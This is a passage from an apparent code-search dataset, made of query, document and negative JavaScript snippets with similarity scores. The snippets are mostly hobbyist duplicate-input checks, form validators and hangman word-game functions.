(!submittedWords.includes(word)) {\n answer(word);\n }\n }\n }","function isDuplicate(str) {\n for (i = 0; i < guessesSoFarArray.length; i++) {\n if (str === guessesSoFarArray[i]) {\n return true;\n } else { }\n } // end of for loop\n return false;\n} // end of isDuplicate()","function validateLetter (usersKeypress) {\n message.innerText = \"\";\n\n var repeatGuess = lettersGuessed.some(function(item){\n return item === usersKeypress;\n })\n\n //alert player if the above code is true.\n if (repeatGuess) {\n //alert(usersKeypress + \" already guessed. Try again!\");\n message.innerHTML = \"Already guessed that. Try again!\";\n\n //if it is not a repeat guess, check if it's in word\n } else {\n lettersGuessed.push(usersKeypress);\n console.log(\"Guessed so far\", lettersGuessed);\n\n //show user's input in browser\n showLettersGuessed();\n //is user's input a match to computer guess\n guessMatch(usersKeypress);\n }\n\n}"],"string":"[\n \"function checkIsDuplicatingInputs(numOfInputs) {\\n const InputsArr = [];\\n for (let i = 1; i <= numOfInputs; i++) {\\n InputsArr.push(document.getElementById(`serial-${i}`).value + '-' + document.getElementById(`typeName-${i}`).value);\\n }\\n return InputsArr.length === new Set(InputsArr).size;\\n }\",\n \"function uniqueInput(input){\\n\\t\\tvar temp = 0;\\n\\t\\tfor(m=0; m < guessedLetters.length; m++) {\\n\\t\\t\\tif (guessedLetters[m] === input){\\n\\t\\t\\t\\ttemp++;\\n\\t\\t\\t\\t// log(\\\"Temp count: \\\" + temp);\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif (temp === 0){\\n\\t\\t\\tuniqueLetter = true;\\n\\t\\t\\t// alert(\\\"First Time\\\");\\n\\t\\t\\treturn uniqueLetter;\\n\\t\\t\\tguessedLetters.push(input);\\n\\t\\t}\\n\\t\\telse if(temp !== 0){\\n\\t\\t\\tuniqueLetter = false;\\n\\t\\t\\t// alert(\\\"Please Pick a new letter that you have not used before.\\\");\\n\\t\\t\\treturn uniqueLetter;\\n\\t\\t}\\n\\t}\",\n \"function duplicateChecker(input) {\\r\\n let duplicateSwitch = false;\\r\\n if (ul.children.length > 0) {\\r\\n for (let i = 0; i < ul.children.length; i++) {\\r\\n if (input.value === ul.children[i].children[0].textContent) {\\r\\n duplicateSwitch = true;\\r\\n break;\\r\\n };\\r\\n }\\r\\n }\\r\\n return duplicateSwitch;\\r\\n }\",\n \"function checkUserDuplicates(value) {\\n if (!userInputsArray.includes(value)) {\\n userInputsArray.push(value);\\n\\n return true;\\n }\\n\\n return false;\\n}\",\n \"function inputIsValid(){\\n\\tconsole.log(ul.children.length);\\n\\tif (input.value.length > 0)\\n\\t{\\n\\t\\tfor (i = 0, len = ul.children.length; i < len; i++) {\\t\\t\\t\\n\\t\\t\\t//\\\" + newNum + \\\"Is a duplicate number. Fix it
\\\";\\n\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t} else {\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tdocument.getElementById(\\\"message\\\").innerHTML = \\\"Hey, you forgot to enter a number. You might do that before I just decide to keep your money and tell you to go away
\\\";\\n\\t\\t\\t\\treturn false;\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t}\\n\\t}\",\n \"function isDuplicate(name,phone,twitter){\\n\\tvar isduplicate=false; \\n\\t\\tfor(var i=0;iname attributes:• ' +\\n `${problemFields.join('
• ')}`,\\n learnMore: 'Learn more: The input element name attribute',\\n title: 'Fields in the same form must have unique
name values.',\\n type: 'error',\\n };\\n items.push(item);\\n }\\n}\",\n \"function validateInput(){\\n\\tvar api_key_input = $('#api-key-input');\\n\\tvar search_input = $('#summoner-name-input');\\n \\tif (!isEmpty(search_input) && !isEmpty(api_key_input)){\\n\\t\\tvar selected = getSelectedOption();\\n\\t\\t//alert(empty_checker + ' | ' + selected);\\n\\t\\tif (selected == 'summary'){\\n\\t\\t\\tsearchSummonerStatsSummary();\\n\\t\\t} else {\\n\\t\\t\\tsearchSummonerStatsRanked();\\n\\t\\t}\\n\\t}\\n}\",\n \"function areThereDuplicates() {\\n if (arguments.length < 2) return false;\\n const counter = {};\\n for (let i = 0; i < arguments.length; i++) {\\n if (counter[arguments[i]]) {\\n return true;\\n } else {\\n counter[arguments[i]] = 1;\\n }\\n }\\n return false;\\n}\",\n \"function userInput(){ \\n everythingOk = false; \\n while(everythingOk === false){\\n // answer = inputLength(); \\n upCaseRslt = upCase();\\n lcase = lowCase(); \\n numAnsr = numOpt();\\n symbolAnswer = simbl(); \\n if(upCaseRslt === false && lcase === false && numAnsr === false && symbolAnswer === false){\\n alert(\\\"at least one option must be checked in order to create password\\\"); \\n }else{ \\n everythingOk = true; \\n } \\n } \\n }\",\n \"function oneOfEach(sentence) {\\n let unique = [];\\n sentence = sentence.split('');\\n for(let i = 0; i < sentence.length; i++) {\\n if(!unique.includes(sentence[i])) {\\n unique.push(sentence[i]);\\n }\\n }\\n let newSentence = unique.join('');\\n return $('At least one activity must be selected
\\\";\\n $('.activities label input').each((index, element) => {\\n activity.push(element.checked);\\n })\\n if (activity.indexOf(true) === -1 && $('.activityWarning').length === 0){\\n $('.activities').after(activityError);\\n }\\n if (activity.indexOf(true) !== -1 && $('.activityWarning').length > 0){\\n $('.activityWarning').remove();\\n }\\n}\",\n \"function checkInput(name,key)\\n{\\n if (name.match(/^\\\\s*$/)) //checks that roomane is not empty/contain only whitespace\\n {\\n window.alert(\\\"Room Name Can't Be Empty\\\");\\n return false;\\n }\\n else if (key.match(/^\\\\s*$/)) //check that room key is not empty/contain only whitespace\\n {\\n window.alert(\\\"Room Key Can't Be Empty\\\");\\n return false;\\n }\\n else\\n {\\n return true;\\n }\\n}\",\n \"function playersGuessSubmission() {\\n playersGuess = $(\\\"#guessInput\\\").val();\\n \\n $(\\\"#yourGuess\\\").text(\\\"Your guess was \\\" + playersGuess + \\\".\\\");\\n \\n \\t$(\\\"#guessInput\\\").val(\\\"\\\").focus();\\n if (checkGuess()==false){\\n $(\\\"#compare\\\").text(lowerOrHigher());\\n if (guessHistory.indexOf(playersGuess)!== -1){\\n \\t\\t$(\\\"#yourGuess\\\").append(\\\" You've tried that before!\\\"); \\t\\t \\n \\t\\t}\\n \\t}\\n \\tguessHistory.push(playersGuess);\\n \\t\\n}\",\n \"function uniqueValues(value) {\\n if (arr1.includes(value) && arr2.includes(value)) {\\n console.log(\\\"dupe\\\") \\n } else {\\n return value;\\n }\\n }\",\n \"validateAnItem(item) {\\n let errors = [];\\n if (_.find(this.state.items, {sequenceName: item.sequenceName})) {\\n errors.push(\\\"There's already a sequence with this name\\\");\\n }\\n if (_.find(this.state.items, {sequence: item.sequence})) {\\n errors.push(\\\"There's already another entry for this sequence\\\");\\n }\\n if (item.sequenceName === \\\"\\\") {\\n errors.push(\\\"Name is required\\\");\\n }\\n if (item.sequenceDescription === \\\"\\\") {\\n errors.push(\\\"Description is required\\\");\\n }\\n if (item.sequence === \\\"\\\") {\\n errors.push(\\\"Sequence is required\\\");\\n } \\n // We only need the first occurance of a non-allowed letter, so .search makes sense here\\n let nonDNA = item[\\\"sequence\\\"].search(/[^ATCG]/g);\\n if (nonDNA !== -1) {\\n errors.push(`Non-DNA character found at position ${nonDNA}`);\\n }\\n return errors;\\n }\",\n \"function duplicateInputFieldMessage(fieldName) {\\n return \\\"There can be only one input field named \\\\\\\"\\\".concat(fieldName, \\\"\\\\\\\".\\\");\\n}\",\n \"checkDupe() {\\n let occurrences = this.props.occurrences;\\n let habit = this.state.currentHabit;\\n let time = JSON.parse(JSON.stringify(this.state.habitTime));\\n let quantity = this.state.quantity;\\n let found = false;\\n\\n occurrences.forEach(item => {\\n if (item.timestamp.slice(0, 10) === time.slice(0, 10)) {\\n found = true;\\n }\\n });\\n\\n if (found) {\\n alert('Please make any updates to existing logs by updating your table');\\n } else {\\n this.props.logHabit(habit, time, quantity);\\n }\\n }\",\n \"function checkIndivDupe() {\\n var firstInstance = true;\\n var dupeCount = 0;\\n \\n var validUserRows = validUserSheet.getLastRow() + 1;\\n for (var row = 1; row < validUserRows; row++) {\\n if (validUserSheet.getRange(row, 6).getValue() == userEmail) {\\n if (firstInstance) {\\n isIndivDupe = true;\\n //get original batch ID\\n origBatchId = validUserSheet.getRange(row, 2).getValue();\\n origUID = validUserSheet.getRange(row, 3).getValue();\\n origUserFirst = validUserSheet.getRange(row, 4).getValue();\\n origUserLast = validUserSheet.getRange(row, 5).getValue();\\n origUserEmail = validUserSheet.getRange(row, 6).getValue();\\n origUserOrg = validUserSheet.getRange(row, 7).getValue();\\n firstInstance = false;\\n }\\n //increment duplicate count\\n dupeCount++;\\n }\\n }\\n \\n Logger.log('This a duplicate 1: ' + isIndivDupe);\\n Logger.log('The original Batch ID is: ' + origBatchId);\\n \\n if (isIndivDupe) {\\n //get info about original submission using original batch ID\\n \\n var logSheetRows = logSheet.getLastRow() + 1;\\n for (var logRow = 1; logRow < logSheetRows; logRow++) {\\n if (logSheet.getRange(logRow, 3).getValue() == origBatchId) {\\n origRespFirst = logSheet.getRange(logRow, 4).getValue();\\n origRespLast = logSheet.getRange(logRow, 5).getValue();\\n origRespName = origRespFirst + ' ' + origRespLast;\\n origRespEmail = logSheet.getRange(logRow, 6).getValue();\\n origTime = logSheet.getRange(logRow, 1).getValue();\\n origTime = Utilities.formatDate(origTime, ss.getSpreadsheetTimeZone(), \\\"M/d/yy 'at' h:mm a\\\");\\n }\\n }\\n \\n }\\n \\n }\",\n \"function checkDuplicates(args) {\\n const check = {}\\n\\n for (let val of args) {\\n check[val] = (check[val] || 0) + 1\\n }\\n\\n for (let key in check) {\\n if (check[key] > 1) return true\\n }\\n\\n return false\\n}\",\n \"function isDuplicates (alphabet) {\\n let array = [];\\n for (let i = 0; i < alphabet.length; i++) {\\n if (array.includes (alphabet[i])) {\\n return true;\\n }\\n array.push (alphabet[i]);\\n }\\n return false;\\n }\",\n \"function chkAns(){\\n\\tif(usrGss % 1 !== 0){\\n\\t\\t//feedback when your user uses only text chars not number\\n\\t\\t$(\\\"#newFdbk\\\").text(\\\"please input only numbers\\\");\\n\\t\\treturn true;\\n\\t}\\n\\tif(usrGss < 0 || usrGss > 101){\\n\\t\\t//feedback to the user if they use numbers beyond 100 o negative numbers\\n\\t\\t$(\\\"#newFdbk\\\").text('Try a number between 0 and 100');\\n\\t\\treturn true;\\n\\t}\\n\\tif(gssHsty.length > 0){\\n\\t\\t$.each(gssHsty,function(guess,value){//loop through the entire guess history array to look for any number that has been repated by the user guess\\n\\t\\t\\tif(usrGss == value){//compare the equality of each value in the array\\n\\t\\t\\t\\tgssed = true;//set taht guessed value to true\\n\\t\\t\\t}\\n\\t\\t}); \\n\\t}\\n\\tif(gssed){//here we evaluate the guessed number previusly found as a repeated number input by the user\\n\\t\\tgssed = false;\\n\\t\\t//if the user repeats any number, they will get this feedback\\n\\t\\t$(\\\"#newFdbk\\\").text('You already used this number');\\n\\t\\treturn true;\\n\\t}\\nreturn false;\\n}\",\n \"submitWord(event) {\\n event.preventDefault();\\n let word = document.getElementById('inputBox').value.toLowerCase();\\n document.getElementById('inputBox').value = '';\\n if(/^[a-zA-Z]+$/.test(word)) {\\n let submittedWords = this.state.submittedWords;\\n if (!submittedWords.includes(word)) {\\n answer(word);\\n }\\n }\\n }\",\n \"function isDuplicate(str) {\\n for (i = 0; i < guessesSoFarArray.length; i++) {\\n if (str === guessesSoFarArray[i]) {\\n return true;\\n } else { }\\n } // end of for loop\\n return false;\\n} // end of isDuplicate()\",\n \"function validateLetter (usersKeypress) {\\n message.innerText = \\\"\\\";\\n\\n var repeatGuess = lettersGuessed.some(function(item){\\n return item === usersKeypress;\\n })\\n\\n //alert player if the above code is true.\\n if (repeatGuess) {\\n //alert(usersKeypress + \\\" already guessed. Try again!\\\");\\n message.innerHTML = \\\"Already guessed that. Try again!\\\";\\n\\n //if it is not a repeat guess, check if it's in word\\n } else {\\n lettersGuessed.push(usersKeypress);\\n console.log(\\\"Guessed so far\\\", lettersGuessed);\\n\\n //show user's input in browser\\n showLettersGuessed();\\n //is user's input a match to computer guess\\n guessMatch(usersKeypress);\\n }\\n\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6776648","0.67727125","0.66299736","0.64909345","0.62932765","0.62074447","0.61125845","0.61001307","0.6071562","0.6062199","0.6048642","0.5961513","0.59330827","0.59151876","0.5910981","0.5858354","0.58479273","0.58370197","0.5829865","0.58098704","0.57894814","0.577449","0.5748707","0.5742362","0.5735819","0.572044","0.5695264","0.5693701","0.5689143","0.56772125","0.5675341","0.56751996","0.56732976","0.5665424","0.5658478","0.5655355","0.5655355","0.5655355","0.5655355","0.5655355","0.5655355","0.5650393","0.56454456","0.5632972","0.5629295","0.56286573","0.56095225","0.5609218","0.56085","0.5604083","0.5599149","0.559753","0.5587143","0.55821866","0.5578315","0.5575688","0.5560459","0.5558458","0.5557009","0.5556425","0.55512094","0.5547732","0.5547191","0.55363953","0.553545","0.55337113","0.5528192","0.5524857","0.5522517","0.55121654","0.5494889","0.5481663","0.54797167","0.5478386","0.5476596","0.5470685","0.5467913","0.5466791","0.54597807","0.54597807","0.54582435","0.5456269","0.5444514","0.54408574","0.543818","0.54371667","0.5437087","0.5437069","0.5435257","0.54322916","0.54293406","0.5428722","0.54264706","0.542628","0.542251","0.5415247","0.5413435","0.54026014","0.54004085","0.5400377","0.5399994"],"string":"[\n \"0.6776648\",\n \"0.67727125\",\n \"0.66299736\",\n \"0.64909345\",\n \"0.62932765\",\n \"0.62074447\",\n \"0.61125845\",\n \"0.61001307\",\n \"0.6071562\",\n \"0.6062199\",\n \"0.6048642\",\n \"0.5961513\",\n \"0.59330827\",\n \"0.59151876\",\n \"0.5910981\",\n \"0.5858354\",\n \"0.58479273\",\n \"0.58370197\",\n \"0.5829865\",\n \"0.58098704\",\n \"0.57894814\",\n \"0.577449\",\n \"0.5748707\",\n \"0.5742362\",\n \"0.5735819\",\n \"0.572044\",\n \"0.5695264\",\n \"0.5693701\",\n \"0.5689143\",\n \"0.56772125\",\n \"0.5675341\",\n \"0.56751996\",\n \"0.56732976\",\n \"0.5665424\",\n \"0.5658478\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5650393\",\n \"0.56454456\",\n \"0.5632972\",\n \"0.5629295\",\n \"0.56286573\",\n \"0.56095225\",\n \"0.5609218\",\n \"0.56085\",\n \"0.5604083\",\n \"0.5599149\",\n \"0.559753\",\n \"0.5587143\",\n \"0.55821866\",\n \"0.5578315\",\n \"0.5575688\",\n \"0.5560459\",\n \"0.5558458\",\n \"0.5557009\",\n \"0.5556425\",\n \"0.55512094\",\n \"0.5547732\",\n \"0.5547191\",\n \"0.55363953\",\n \"0.553545\",\n \"0.55337113\",\n \"0.5528192\",\n \"0.5524857\",\n \"0.5522517\",\n \"0.55121654\",\n \"0.5494889\",\n \"0.5481663\",\n \"0.54797167\",\n \"0.5478386\",\n \"0.5476596\",\n \"0.5470685\",\n \"0.5467913\",\n \"0.5466791\",\n \"0.54597807\",\n \"0.54597807\",\n \"0.54582435\",\n \"0.5456269\",\n \"0.5444514\",\n \"0.54408574\",\n \"0.543818\",\n \"0.54371667\",\n \"0.5437087\",\n \"0.5437069\",\n \"0.5435257\",\n \"0.54322916\",\n \"0.54293406\",\n \"0.5428722\",\n \"0.54264706\",\n \"0.542628\",\n \"0.542251\",\n \"0.5415247\",\n \"0.5413435\",\n \"0.54026014\",\n \"0.54004085\",\n \"0.5400377\",\n \"0.5399994\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":12,"cells":{"query":{"kind":"string","value":"displays the word at end of game"},"document":{"kind":"string","value":"function displayWord(hangmanWord) {\n\tvar showWord = \"\";\n\tfor (var i = 0; i < hangmanWord.correctLettersGuessed.length; i++) {\n\t\tshowWord += hangmanWord.correctLettersGuessed[i].letterGuessed;\n\t}\n\treturn showWord;\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function DisplayWord() {\n\tvar wordToPrint : String;\n\tvar hWord : GameObject;\n\t//var offset : float;\n\tswitch(this.kana) {\n\t\tcase \"a\":\n\t\t\twordToPrint = \"あ り\";\n\t\tbreak;\n\t\t\n\t\tcase \"i\":\n\t\t\twordToPrint = \"い な ず ま\";\n\t\tbreak;\n\t\t\n\t\tcase \"u\":\n\t\t\twordToPrint = \"う さ ぎ\";\n\t\tbreak;\n\t\t\t\t\t\n\t\tcase \"e\":\n\t\t\twordToPrint = \"え ん\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"o\":\n\t\t\twordToPrint = \"お す\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ka\":\n\t\t\twordToPrint = \"か た な\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ki\":\n\t\t\twordToPrint = \"き り か ぶ\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ku\":\n\t\t\twordToPrint = \"く さ り\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ke\":\n\t\t\twordToPrint = \"け る\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ko\":\n\t\t\twordToPrint = \"こ ぶ し\";\n\t\tbreak;\n\t\t\n\t\tdefault:\n\t\t\t;\n\t\t\t\t\n\t}\n\t//hWord = Instantiate(this.word, this.player.transform.position, Quaternion.identity);\n\t//offset = .005 * wordToPrint.Length;\n\thWord = Instantiate(this.word, new Vector3(0.45, 0.6, -8), Quaternion.identity);\n\thWord.guiText.text = wordToPrint;\n}","function dashes(){\r\n document.getElementById('word').innerHTML = '';\r\n for (var i = 0; i < guesses.length; i++)\r\n document.getElementById('word').innerHTML += guesses[i] + ' ';\r\n document.getElementById('start').style.visibility = \"hidden\";\r\n}","function handleText() {\n if (index < text.length) {\n id(\"output\").innerText = \"\";\n let curWord = text[index];\n id(\"output\").innerText = curWord;\n index++;\n } else {\n endGame();\n }\n }","function showWord(word) {\n var i;\n for (i = 0; i < word.length; i ++) {\n process.stdout.write(word[i]);\n }\n playAgain();\n}","function displayNextWordFor(objectName){\n\tvar obj = HangMan[objectName];\n\tHangMan.gameReady = true;\n\tobj.word = obj.words[Math.floor(Math.random() * obj.words.length)].toLowerCase();\n\tobj.lives = 10;\n\tobj.guesses = [];\n\tobj.trueg = [];\n\tfor ( i = 0 ; i < obj.word.length ; i++ ){obj.trueg.push('0')};\n\tobj.falseg = [];\n\tloadObject(objectName);\n}","function displayWord(word, words, firstRound) {\n\t\tconsole.log(\"currWord: \" + word);\n\t\tdocument.getElementById(\"currWord\").innerHTML = word;\n\t\tvar currChar = 0;\n\n\t\tvar wordLength = word.length;\n\n\t\t$('#currWord').on('click', function() {\n\t\t\tif (firstRound) {\n\t\t\t\t$('#typeDummy').toggleClass('highlight');\n\t\t\t}\n\t\t})\n\n\t\t//when the user types a key\n\t\tdocument.onkeypress = function(evt) {\n\t\t\tif (!gameOver) {\n\t\t\t\tif (evt.keyCode == 8) {\n\t\t\t\t \tevt.preventDefault();\n\t\t\t\t}\t\t\n\t\t\t evt = evt || window.event;\n\t\t\t var charCode = evt.which || evt.keyCode;\n\t\t\t var charTyped = String.fromCharCode(charCode);\n\n\t\t\t if ((charCode == 39) || (charCode <= 122 && charCode >= 97)) {\n\t\t\t\t if (charCode == word.charCodeAt(currChar)) {\n\t\t\t\t \tcurrChar++;\n\t\t\t\t \tdocument.getElementById(\"currWord\").innerHTML = \"\"\n\t\t\t\t \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t + word.substring(0,currChar) + \"\"\n\t\t\t\t \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t + word.substring(currChar, wordLength);\n\t\t\t\t } else {\n\t\t\t\t \tmistakeCount++;\n\t\t\t\t \tif (mistakeCount < 8) {\n\t\t\t\t\t \t$(\"#misses\").html( $(\"#misses\").html() + \"X\" );\n\t\t\t\t \t} else {\n\t\t\t\t \t\t$(\"#misses\").html(mistakeCount);\n\t\t\t\t \t}\n\t\t\t\t }\n\t\t \t}\n\n\t\t \t//once the user has fully typed the word\n\t\t\t if (currChar == wordLength) {\n\t\t\t \tif (firstRound) {\n\t\t\t \t\tstartGame();\n\t\t\t \t} else {\n\t\t\t \t\twordCount++;\n\t\t\t \t\trando = words[Math.floor(Math.random() * words.length)];\n\t\t\t \t\tdisplayWord(rando, words, false);\n\t\t\t \t}\n\t\t\t }\n\t\t }\n\t\t};\n\t}","function final(any) {\n element.wordGuess.textContent = string[any]; // will show win or lose string property\n sound[any].play(); //will play win or lose sound\n score[any]++; //will increment win or lose score\n update(); \n setTimeout(function () { //timer so that you can enjoy the music and strings\n reset();\n }, 2000);\n }","function displayWord(myword, desc){\r\n let display = \"\";\r\n for(let i = 0; i < myword.length; i++){\r\n if(i != myword.length - 1){\r\n display += myword.charAt(i) + \" \";\r\n } else {\r\n display += myword.charAt(i);\r\n }\r\n }\r\n document.getElementById(\"display\").innerHTML = display;\r\n document.getElementById(\"desc\").innerHTML = desc;\r\n}","function Display(){\n document.getElementById(\"wins\").textContent = countWins;\n document.getElementById(\"dispWord\").textContent = dispWord;\n document.getElementById(\"guessesLeft\").textContent = 12 - countGuesses;\n document.getElementById(\"lettersGuessed\").textContent = lettersGuessed;\n console.log(\"Random word is: \" + guessWord);\n}","function endWord() {\n var stringDisplay = \"\"\n globalList.forEach(function(item){\n stringDisplay += item\n document.querySelector(\"#applyGuess\").innerHTML = stringDisplay.toUpperCase()\n document.querySelector(\"#endWord\").innerHTML = \"Word Was:\"\n })\n}","function reveal(guess) {\n for (var z = 0; z < word.length; z++) {\n if (word[z] == guess) {\n context.fillText(word[z], (100 + (z * 20)), 490);\n lettersRemaining--;\n console.log(\"reveal: \" + lettersRemaining);\n }\n }\n }","function showWord(words)\r\n{\r\n\t//generate random array index\r\n\tconst randIndex=Math.floor(Math.random() * words.length);\r\n\t//output random word\r\n\tcurrentWord.innerHTML=words[randIndex];\r\n}","function showword(words){\n const randindex = Math.floor(Math.random() * words.length);\n\n //output random word\n currentword.innerHTML = words[randindex];\n}","function displayLetter(myword, letter, word){ // by jaguar\r\n let display = \"\";\r\n let mywordarr = myword.split(\"\")\r\n for(let i = 0; i < myword.length; i++){\r\n if(i != myword.length){\r\n if(letter === word.charAt(i)){\r\n display = display + letter + \" \";\r\n mywordarr[i] = letter\r\n } else {\r\n display += myword.charAt(i) + \" \";\r\n }\r\n } else {\r\n display += myword.charAt(i);\r\n }\r\n }\r\n displayed = mywordarr.join(\"\")\r\n document.getElementById(\"display\").innerHTML = display;\r\n checkWincondition(display, word)\r\n}","function updateDisplay(wordArray, midGame) {\n // let wordJoin = wordArray.join(\" \");\n document.getElementById(\"guess-word\").innerHTML = wordArray.join(\" \");\n if (midGame !== undefined) {\n document.getElementById(\"letters-guessed\").innerHTML = \"Letters guessed: \" + midGame.join(\", \");\n document.getElementById(\"guess-remain\").innerHTML = \"Guesses left: \" + parseInt(numGuesses - midGame.length);\n document.getElementById(\"hangman-graphic\").innerHTML = hangdood[midGame.length];\n }\n else {\n document.getElementById(\"letters-guessed\").innerHTML = \"Letters guessed: \";\n document.getElementById(\"guess-remain\").innerHTML = \"Guesses left: \" + numGuesses;\n }\n }","function renderNewWord() {\n\n // random word generator\n var random = Math.floor(Math.random() * wordLength.length);\n\n // get a random word and clear the string display\n let word = wordLength[random];\n wordDisplayString.innerHTML = \"\";\n\n // for each character in the word array create a 1 char span\n word.split(\"\").forEach(character => {\n const characterSpan = document.createElement(\"span\");\n characterSpan.innerText = character;\n wordDisplayString.appendChild(characterSpan);\n })\n\n // set input to null and focus it\n wordInput.value = null;\n wordInput.focus();\n }","function showWord(words) {\r\n const randIndex = Math.floor(Math.random() * words.length);\r\n currentWord.innerHTML = words[randIndex];\r\n }","displayWordInfo() {\r\n this.displayHangman();\r\n this.displayLives();\r\n this.displayLetters();\r\n this.displayLettersToGuess();\r\n }","function showWord(words) {\n const randIndex = Math.floor(Math.random() * words.length);\n currentWord.innerHTML = words[randIndex];\n}","function displayNextLevel() {\r\n getWord(level);\r\n encryptGameWord();\r\n writeEncryptedWord();\r\n writeGameInfo();\r\n toggleGameElements();\r\n startTimer(80);\r\n $(\"#user-word\").focus();\r\n }","function renderGame() {\n // Set a random word\n randomNumber = Math.floor(Math.random() * 21); \n currentWord = wordArray[randomNumber][0];\n console.log(\"currentWord\", currentWord);\n\n if (currentWord.length < 8) {\n guessesLeft = currentWord.length + 3;\n // console.log(\"guessesLeft\", guessesLeft);\n } else {\n guessesLeft = 8;\n }\n\n lettersGuessed = [];\n // console.log(\"lettersGuessed\", lettersGuessed);\n dashArr = [];\n\n\n\n\n splitArr = currentWord.toLowerCase().split('');\n // console.log(\"splitArr\", splitArr);\n\n // Check the length of word and render dashes\n // Check for spaces\n splitArr.map(index => {\n if (index === \" \") {\n dashArr.push(' ');\n }\n\n else {\n dashArr.push('-');\n }\n })\n\n // console.log(\"dashArr\", dashArr);\n\n displayWord = dashArr.join('');\n\n // console.log(\"displayWord\", displayWord);\n\n document.querySelector(\"#display-word\").innerHTML = displayWord.toUpperCase();\n document.querySelector(\"#display-wins\").innerHTML = wins;\n document.querySelector(\"#display-losses\").innerHTML = losses;\n document.querySelector(\"#display-guesses-left\").innerHTML = guessesLeft;\n document.querySelector(\"#display-image\").src = \"./assets/images/finnandjake.png\";\n document.querySelector(\"#display-letters-guessed\").innerHTML = lettersGuessed;\n document.querySelector(\"#instructions\").innerHTML = \"Guess A Letter To Get Started!\" ;\n\n\n\n}","function endWin(word) {\n console.log(\"You win. The word was:\");\n showWord(word);\n}","function hangman(){\n var x = word.length;\n var y = x-1;\n var spaces = 0;\n while (x>0){\n numChar++;\n var letter = word.substring(y,x);\n if(letter === \" \"){\n document.getElementById('letter'+x).innerHTML = \" \";\n document.getElementById('letter'+x).style.visibility = \"hidden\";\n document.getElementById('letter'+x).style.display = \"block\";\n document.getElementById('underline'+x).style.display = \"block\";\n spaces++;\n }\n else{\n document.getElementById('letter'+x).innerHTML = letter;\n document.getElementById('letter'+x).style.visibility = \"hidden\";\n document.getElementById('underline'+x).style.display = \"block\"; \n document.getElementById('underline'+x).style.borderBottom = \"3px solid white\";\n }\n x--;\n y--;\n }\n wordLength = word.length - spaces;\n document.getElementById('gamePage').style.display = \"block\";\n\n}","function drawboard(location, word) {\n for (var i = 0; i < word.length; i++) {\n context.fillText('_ ', (location[0] + i * 20), location[1]);\n }\n }","function showText() {\n $(\"#textDisplay\").empty();\n $(\"#instructions\").empty();\n randomWords = [];\n for (var i = 0; i < wordCount; i++) {\n var ranWord = wordList[Math.floor(Math.random() * wordList.length)];\n if (wordList[wordList.length - 1] !== ranWord || wordList[wordList.length - 1] === undefined) {\n randomWords.push(ranWord);\n }\n }\n randomWords.forEach(function(word){\n $(\"#textDisplay\").append($(\"\",{\"text\": word + \" \",\"class\":\"word\"}));\n });\n textDisplay.firstChild.classList.add(\"highlightedWord\")\n }","function showWord(words) {\n // Generate random array index\n const randIndex = Math.floor(Math.random() * words.length);\n // Output the random word\n currentWord.innerHTML = words[randIndex];\n}","function currentWordDisplay() {\n var activeCharacterDisplay = document.querySelector(\"#activeCharacterDisplay\");\n activeCharacterDisplay.textContent = answerArray.join(\" \");\n}","function showWord(words){\r\n// generate random array index//\r\nconst randIndex =math.floor(math.random() * words.length);\r\n// output random words//\r\ncurrentWord.innerHTML = words[randIndex];\r\n}","function right() {\r\n //if guess is correct\r\n //keep checking if to see if there is another space for the same letter\r\n for (var j = 0; j < underScore.length; j++) {\r\n if (word[j] === guess) {\r\n underScore[j] = guess;\r\n var blank = \"\" + underScore.join(\" \") + \"
\";\r\n document.getElementById(\"blank\").innerHTML = blank;\r\n }\r\n //hide and show you win div\r\n if (underScore.join(\"\") === word) {\r\n winMessage.show();\r\n direct.hide();\r\n }\r\n }\r\n}","function displayLetters(guess){\n\t\tfor (var i=0;iYou got \"+wins+\" out of \"+wordBank.length+\" right!\");\n return;\n }\n currentWord=wordBank[wordIndex];\n wordDisplay.innerHTML = createDisplay(currentWord);\n //changed message board background color to blue\n document.getElementById(\"message-board\").style.backgroundColor = \"#3dbaec\"\n //upddate message board\n updateField(\"message-text\", \"Next Word!\")\n //resetting parameters\n guessedArray = [\"\"];\n updateLettersGuessedField();\n guessesLeft = 6\n updateField(\"guesses-left\",guessesLeft);\n lettersCorrect = 0;\n //reset stopGame\n stopGame = false; \n}","function wordGame(){\n\n questions=['Famoso barrio electronico de Tokio','Provincia de catalunya','Se usa en la pesca','Mamifero marino con aspecto amigable','Arma comun usada en la epoca medieval',\n 'Pais del sudeste asiatico','Felino de cuatro patas','Lugar donde pasar la noche','Causa fiebre','Mamifero comun en Africa','Ataque suicida de los pilotos japoneses','Satelite de la tierra',\n 'Planeta cercano al sol del sitema solar','Que hace daño o es perjudicial.','Se usa pra hacer fuego','Mamifero nativo de Malasia e Indonesia','Monumento del antiguo Egypto','Se elabora a partir de leche quajada',\n 'Lectura de composiciones poeticas','Tambien conocida como Russia Asiatica','Herramienta electrica usada en tareas de bricolaje','Criatura mitologica con forma de caballo blanco',\n 'Contiene lava','Reproductor de audio portatil','Instrumento musical de percusion','Web dedicada a compartir videos','Ciencia que estudia los animales']\n \n anwsers=['akihabara','barcelona','cebo','delfin','espada','filipinas','gepardo','hotel','Infeccion','jirafa','kamikaze','luna','Mercurio','nocivo','leña','oranguntan','piramide','queso','recital',\n 'siberia','taladro','unicornio','Volcan','walkman','xilofono','youtube','zoologia']\n \n 